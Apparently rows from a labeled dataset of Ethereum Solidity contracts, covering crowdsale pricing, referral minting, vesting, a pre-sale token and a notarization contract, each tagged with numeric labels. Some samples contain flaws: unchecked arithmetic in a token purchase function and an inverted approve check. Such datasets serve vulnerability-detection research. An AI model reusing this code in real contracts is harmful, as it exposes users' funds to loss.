) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) {
if (_usdAmount == 0) {
return (0, 0, 0);
}
uint256 tierIndex = getTierIndex();
if (tierIndex < tiers.length && _usdAmount < tiers[tierIndex].minInvestInUSD) {
return (0, 0, 0);
}
if (tierIndex == tiers.length) {
return (0, 0, 0);
}
tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex));
if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(tokensExcludingBonus)) {
return (0, 0, 0);
}
bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus);
tokens = tokensExcludingBonus.add(bonus);
if (tokens > _tokensAvailable) {
return (0, 0, 0);
}
}
function getUSDAmountByTokens(
uint256 _tokens
) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) {
if (_tokens == 0) {
return (0, 0);
}
uint256 tierIndex = getTierIndex();
if (tierIndex == tiers.length) {
return (0, 0);
}
if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(_tokens)) {
return (0, 0);
}
totalUSDAmount = _tokens.mul(getTokensInUSD(tierIndex)).div(1e18);
if (totalUSDAmount < tiers[tierIndex].minInvestInUSD) {
return (0, 0);
}
tokensBonus = calculateBonusAmount(tierIndex, _tokens);
}
function getWeis(
uint256,
uint256,
uint256 _tokens
) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) {
uint256 usdAmount;
(usdAmount, tokensBonus) = getUSDAmountByTokens(_tokens);
if (usdAmount == 0) {
return (0, 0);
}
totalWeiAmount = usdAmount.mul(1e18).div(etherPriceInUSD);
}
function calculateBonusAmount(uint256 _tierIndex, uint256 _tokens) public view returns (uint256 bonus) {
if (tiers[_tierIndex].soldTierTokens < tiers[_tierIndex].bonusCap) {
if (tiers[_tierIndex].soldTierTokens.add(_tokens) <= tiers[_tierIndex].bonusCap) {
bonus = _tokens.mul(tiers[_tierIndex].bonusPercents).div(100);
} else {
bonus = (tiers[_tierIndex].bonusCap.sub(tiers[_tierIndex].soldTierTokens))
.mul(tiers[_tierIndex].bonusPercents).div(100);
}
}
}
function getTokensInUSD(uint256 _tierIndex) public view returns (uint256) {
if (_tierIndex < uint256(tiers.length)) {
return tiers[_tierIndex].tokenInUSD;
}
}
function getMinEtherInvest(uint256 _tierIndex) public view returns (uint256) {
if (_tierIndex < uint256(tiers.length)) {
return tiers[_tierIndex].minInvestInUSD.mul(1 ether).div(etherPriceInUSD);
}
}
function getUSDAmountByWeis(uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(etherPriceInUSD).div(1 ether);
}
function isInitialized() public view returns (bool) {
return true;
}
function updateDates(uint8 _tierId, uint256 _start, uint256 _end) public onlyOwner() {
if (_start != 0 && _start < _end && _tierId < tiers.length) {
Tier storage tier = tiers[_tierId];
tier.startDate = _start;
tier.endDate = _end;
}
}
}
contract CHLPricingStrategy is USDDateTiersPricingStrategy {
CHLAgent public agent;
modifier onlyAgent() {
require(msg.sender == address(agent));
_;
}
event MaxTokensCollectedDecreased(uint256 tierId, uint256 oldValue, uint256 amount);
constructor(
uint256[] _emptyArray,
uint256[4] _periods,
uint256 _etherPriceInUSD
) public USDDateTiersPricingStrategy(_emptyArray, 18, _etherPriceInUSD) {
tiers.push(Tier(0.75e5, 6247500e18, 0, 0, 0, 0, 100e5, _periods[0], _periods[1]));
tiers.push(Tier(3e5, 32725000e18, 0, 0, 0, 0, 100e5, _periods[2], _periods[3]));
}
function getArrayOfTiers() public view returns (uint256[12] tiersData) {
uint256 j = 0;
for (uint256 i = 0; i < tiers.length; i++) {
tiersData[j++] = uint256(tiers[i].tokenInUSD);
tiersData[j++] = uint256(tiers[i].maxTokensCollected);
tiersData[j++] = uint256(tiers[i].soldTierTokens);
tiersData[j++] = uint256(tiers[i].minInvestInUSD);
tiersData[j++] = uint256(tiers[i].startDate);
tiersData[j++] = uint256(tiers[i].endDate);
}
}
function updateTier(
uint256 _tierId,
uint256 _start,
uint256 _end,
uint256 _minInvest,
uint256 _price,
uint256 _bonusCap,
uint256 _bonus,
bool _updateLockNeeded
) public onlyOwner() {
require(
_start != 0 &&
_price != 0 &&
_start < _end &&
_tierId < tiers.length
);
if (_updateLockNeeded) {
agent.updateLockPeriod(_end);
}
Tier storage tier = tiers[_tierId];
tier.tokenInUSD = _price;
tier.minInvestInUSD = _minInvest;
tier.startDate = _start;
tier.endDate = _end;
tier.bonusCap = _bonusCap;
tier.bonusPercents = _bonus;
}
function setCrowdsaleAgent(CHLAgent _crowdsaleAgent) public onlyOwner {
agent = _crowdsaleAgent;
}
function updateTierTokens(uint256 _tierId, uint256 _soldTokens, uint256 _bonusTokens) public onlyAgent {
require(_tierId < tiers.length && _soldTokens > 0);
Tier storage tier = tiers[_tierId];
tier.soldTierTokens = tier.soldTierTokens.add(_soldTokens);
tier.bonusTierTokens = tier.bonusTierTokens.add(_bonusTokens);
}
function updateMaxTokensCollected(uint256 _tierId, uint256 _amount) public onlyAgent {
require(_tierId < tiers.length && _amount > 0);
Tier storage tier = tiers[_tierId];
require(tier.maxTokensCollected.sub(_amount) >= tier.soldTierTokens.add(tier.bonusTierTokens));
emit MaxTokensCollectedDecreased(_tierId, tier.maxTokensCollected, _amount);
tier.maxTokensCollected = tier.maxTokensCollected.sub(_amount);
}
function getTokensWithoutRestrictions(uint256 _usdAmount) public view returns (
uint256 tokens,
uint256 tokensExcludingBonus,
uint256 bonus
) {
if (_usdAmount == 0) {
return (0, 0, 0);
}
uint256 tierIndex = getActualTierIndex();
tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex));
bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus);
tokens = tokensExcludingBonus.add(bonus);
}
function getTierUnsoldTokens(uint256 _tierId) public view returns (uint256) {
if (_tierId >= tiers.length) {
return 0;
}
return tiers[_tierId].maxTokensCollected.sub(tiers[_tierId].soldTierTokens);
}
function getSaleEndDate() public view returns (uint256) {
return tiers[tiers.length.sub(1)].endDate;
}
}
contract Referral is Ownable {
using SafeMath for uint256;
MintableTokenAllocator public allocator;
CrowdsaleImpl public crowdsale;
uint256 public constant DECIMALS = 18;
uint256 public totalSupply;
bool public unLimited;
bool public sentOnce;
mapping(address => bool) public claimed;
mapping(address => uint256) public claimedBalances;
constructor(
uint256 _totalSupply,
address _allocator,
address _crowdsale,
bool _sentOnce
) public {
require(_allocator != address(0) && _crowdsale != address(0));
totalSupply = _totalSupply;
if (totalSupply == 0) {
unLimited = true;
}
allocator = MintableTokenAllocator(_allocator);
crowdsale = CrowdsaleImpl(_crowdsale);
sentOnce = _sentOnce;
}
function setAllocator(address _allocator) public onlyOwner {
if (_allocator != address(0)) {
allocator = MintableTokenAllocator(_allocator);
}
}
function setCrowdsale(address _crowdsale) public onlyOwner {
require(_crowdsale != address(0));
crowdsale = CrowdsaleImpl(_crowdsale);
}
function multivestMint(
address _address,
uint256 _amount,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(true == crowdsale.signers(verify(msg.sender, _amount, _v, _r, _s)));
if (true == sentOnce) {
require(claimed[_address] == false);
claimed[_address] = true;
}
require(
_address == msg.sender &&
_amount > 0 &&
(true == unLimited || _amount <= totalSupply)
);
claimedBalances[_address] = claimedBalances[_address].add(_amount);
if (false == unLimited) {
totalSupply = totalSupply.sub(_amount);
}
allocator.allocate(_address, _amount);
}
function verify(address _sender, uint256 _amount, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(_sender, _amount));
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s);
}
}
contract CHLReferral is Referral {
CHLPricingStrategy public pricingStrategy;
constructor(
address _allocator,
address _crowdsale,
CHLPricingStrategy _strategy
) public Referral(1190000e18, _allocator, _crowdsale, true) {
require(_strategy != address(0));
pricingStrategy = _strategy;
}
function multivestMint(
address _address,
uint256 _amount,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(pricingStrategy.getSaleEndDate() <= block.timestamp);
super.multivestMint(_address, _amount, _v, _r, _s);
}
}
contract CHLAllocation is Ownable {
using SafeMath for uint256;
MintableTokenAllocator public allocator;
CHLAgent public agent;
uint256 public manualMintingSupply = 5950000e18;
uint256 public foundersVestingAmountPeriodOne = 7140000e18;
uint256 public foundersVestingAmountPeriodTwo = 2975000e18;
uint256 public foundersVestingAmountPeriodThree = 1785000e18;
address[] public vestings;
address public foundersAddress;
bool public isFoundersTokensSent;
event VestingCreated(
address _vesting,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable
);
event VestingRevoked(address _vesting);
constructor(MintableTokenAllocator _allocator, address _foundersAddress) public {
require(_foundersAddress != address(0));
foundersAddress = _foundersAddress;
allocator = _allocator;
}
function setAllocator(MintableTokenAllocator _allocator) public onlyOwner {
require(_allocator != address(0));
allocator = _allocator;
}
function setAgent(CHLAgent _agent) public onlyOwner {
require(_agent != address(0));
agent = _agent;
}
function allocateManualMintingTokens(address[] _addresses, uint256[] _tokens) public onlyOwner {
require(_addresses.length == _tokens.length);
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= manualMintingSupply);
manualMintingSupply -= _tokens[i];
allocator.allocate(_addresses[i], _tokens[i]);
}
}
function allocatePrivateSaleTokens(
uint256 _tierId,
uint256 _totalTokensSupply,
uint256 _tokenPriceInUsd,
address[] _addresses,
uint256[] _tokens
) public onlyOwner {
require(
_addresses.length == _tokens.length &&
_totalTokensSupply > 0
);
agent.updateStateWithPrivateSale(_tierId, _totalTokensSupply, _totalTokensSupply.mul(_tokenPriceInUsd).div(1e18));
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= _totalTokensSupply);
_totalTokensSupply = _totalTokensSupply.sub(_tokens[i]);
allocator.allocate(_addresses[i], _tokens[i]);
}
require(_totalTokensSupply == 0);
}
function allocateFoundersTokens(uint256 _start) public {
require(!isFoundersTokensSent && msg.sender == address(agent));
isFoundersTokensSent = true;
allocator.allocate(foundersAddress, foundersVestingAmountPeriodOne);
createVestingInternal(
foundersAddress,
_start,
0,
365 days,
1,
true,
owner,
foundersVestingAmountPeriodTwo
);
createVestingInternal(
foundersAddress,
_start,
0,
730 days,
1,
true,
owner,
foundersVestingAmountPeriodThree
);
}
function createVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder,
uint256 _amount
) public onlyOwner returns (PeriodicTokenVesting vesting) {
vesting = createVestingInternal(
_beneficiary,
_start,
_cliff,
_duration,
_periods,
_revocable,
_unreleasedHolder,
_amount
);
}
function revokeVesting(PeriodicTokenVesting _vesting, ERC20Basic token) public onlyOwner() {
_vesting.revoke(token);
emit VestingRevoked(_vesting);
}
function createVestingInternal(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder,
uint256 _amount
) internal returns (PeriodicTokenVesting) {
PeriodicTokenVesting vesting = new PeriodicTokenVesting(
_beneficiary, _start, _cliff, _duration, _periods, _revocable, _unreleasedHolder
);
vestings.push(vesting);
emit VestingCreated(vesting, _beneficiary, _start, _cliff, _duration, _periods, _revocable);
allocator.allocate(address(vesting), _amount);
return vesting;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract PeriodicTokenVesting is TokenVesting {
address public unreleasedHolder;
uint256 public periods;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _periodDuration,
uint256 _periods,
bool _revocable,
address _unreleasedHolder
) public TokenVesting(_beneficiary, _start, _cliff, _periodDuration, _revocable) {
require(_revocable == false || _unreleasedHolder != address(0));
periods = _periods;
unreleasedHolder = _unreleasedHolder;
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration * periods) || revoked[token]) {
return totalBalance;
} else {
uint256 periodTokens = totalBalance.div(periods);
uint256 periodsOver = now.sub(start).div(duration);
if (periodsOver >= periods) {
return totalBalance;
}
return periodTokens.mul(periodsOver);
}
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(unreleasedHolder, refund);
emit Revoked();
}
}
contract Stats {
using SafeMath for uint256;
MintableToken public token;
MintableTokenAllocator public allocator;
CHLCrowdsale public crowdsale;
CHLPricingStrategy public pricing;
constructor(
MintableToken _token,
MintableTokenAllocator _allocator,
CHLCrowdsale _crowdsale,
CHLPricingStrategy _pricing
) public {
token = _token;
allocator = _allocator;
crowdsale = _crowdsale;
pricing = _pricing;
}
function getTokens(
uint256 _type,
uint256 _usdAmount
) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) {
_type = _type;
return pricing.getTokensWithoutRestrictions(_usdAmount);
}
function getWeis(
uint256 _type,
uint256 _tokenAmount
) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) {
_type = _type;
return pricing.getWeis(0, 0, _tokenAmount);
}
function getUSDAmount(
uint256 _type,
uint256 _tokenAmount
) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) {
_type = _type;
return pricing.getUSDAmountByTokens(_tokenAmount);
}
function getStats(uint256 _userType, uint256[7] _ethPerCurrency) public view returns (
uint256[8] stats,
uint256[26] tiersData,
uint256[21] currencyContr
) {
stats = getStatsData(_userType);
tiersData = getTiersData(_userType);
currencyContr = getCurrencyContrData(_userType, _ethPerCurrency);
}
function getTiersData(uint256 _type) public view returns (
uint256[26] tiersData
) {
_type = _type;
uint256[12] memory tiers = pricing.getArrayOfTiers();
uint256 length = tiers.length / 6;
uint256 j = 0;
for (uint256 i = 0; i < length; i++) {
tiersData[j++] = uint256(1e23).div(tiers[i.mul(6)]);
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(1)]);
tiersData[j++] = uint256(tiers[i.mul(6).add(2)]);
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(3)]);
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = 0;
tiersData[j++] = uint256(tiers[i.mul(6).add(4)]);
tiersData[j++] = uint256(tiers[i.mul(6).add(5)]);
tiersData[j++] = 1;
}
tiersData[25] = 2;
}
function getStatsData(uint256 _type) public view returns (
uint256[8] stats
) {
_type = _type;
stats[0] = token.maxSupply();
stats[1] = token.totalSupply();
stats[2] = crowdsale.maxSaleSupply();
stats[3] = crowdsale.tokensSold();
stats[4] = uint256(crowdsale.currentState());
stats[5] = pricing.getActualTierIndex();
stats[6] = pricing.getTierUnsoldTokens(stats[5]);
stats[7] = pricing.getMinEtherInvest(stats[5]);
}
function getCurrencyContrData(uint256 _type, uint256[7] _usdPerCurrency) public view returns (
uint256[21] currencyContr
) {
_type = _type;
uint256 j = 0;
for (uint256 i = 0; i < _usdPerCurrency.length; i++) {
(currencyContr[j++], currencyContr[j++], currencyContr[j++]) = pricing.getTokensWithoutRestrictions(
_usdPerCurrency[i]
);
}
}
} | 0 | 20 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC223Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223BasicToken is ERC223Basic {
using SafeMath for uint;
mapping(address => uint) balances;
function transfer(address to, uint value, bytes data) {
uint codeLength;
assembly {
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
Transfer(msg.sender, to, value, data);
}
function transfer(address to, uint value) {
uint codeLength;
assembly {
codeLength := extcodesize(to)
}
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
bytes memory empty;
receiver.tokenFallback(msg.sender, value, empty);
}
Transfer(msg.sender, to, value, empty);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract PreTgeExperty is ERC223BasicToken {
string public constant name = "Pre-TGE Experty Token";
string public constant symbol = "PEXY";
uint8 public constant decimals = 18;
uint8 public basicRate = 100;
uint8 public preTgeBonus = 45;
address public preTgeManager;
address public multisigWallet;
bool public isClosed = false;
mapping(address => uint) public burnedTokens;
function PreTgeExperty() {
multisigWallet = 0x60f4025c67477edf3a8eda7d1bf6b3b035a664eb;
preTgeManager = 0x009A55A3c16953A359484afD299ebdC444200EdB;
}
function() payable {
if (isClosed) throw;
uint ethers = msg.value;
uint tokens = ethers * basicRate;
uint bonus = ethers * preTgeBonus;
uint sum = tokens + bonus;
balances[msg.sender] += sum;
totalSupply += sum;
multisigWallet.transfer(ethers);
}
function burnTokens(uint amount) {
if (amount > balances[msg.sender]) throw;
balances[msg.sender] = balances[msg.sender].sub(amount);
burnedTokens[msg.sender] = burnedTokens[msg.sender].add(amount);
}
function changeBonus(uint8 _preTgeBonus) {
if (msg.sender != preTgeManager) throw;
if (_preTgeBonus > preTgeBonus) throw;
preTgeBonus = _preTgeBonus;
}
function close() {
if (msg.sender != preTgeManager) throw;
isClosed = true;
}
} | 1 | 2,669 |
pragma solidity ^0.4.2;
contract DateTime {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) constant returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) constant returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
contract ProofOfExistence {
string public result;
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i + 1);
for (uint j = 0; j <= i; j++) {
s[j] = reversed[i - j];
}
str = string(s);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
mapping (string => uint) private proofs;
function notarize(string sha256) {
if ( bytes(sha256).length == 64 ){
if ( proofs[sha256] == 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (string) {
var timestamp = proofs[sha256];
if ( timestamp == 0 ){
return "No data found";
}else{
DateTime dt = DateTime(msg.sender);
uint year = dt.getYear(timestamp);
uint month = dt.getMonth(timestamp);
uint day = dt.getDay(timestamp);
uint hour = dt.getHour(timestamp);
uint minute = dt.getMinute(timestamp);
uint second = dt.getSecond(timestamp);
result = strConcat(uintToString(year) , "-" , uintToString(month),"-",uintToString(day));
result = strConcat(result," ");
result = strConcat( uintToString(hour) , ":" , uintToString(minute),":",uintToString(second));
result = strConcat(result," UTC");
return result;
}
}
} | 0 | 1,562 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
require ((_value != 0) && (allowed[msg.sender][_spender] != 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
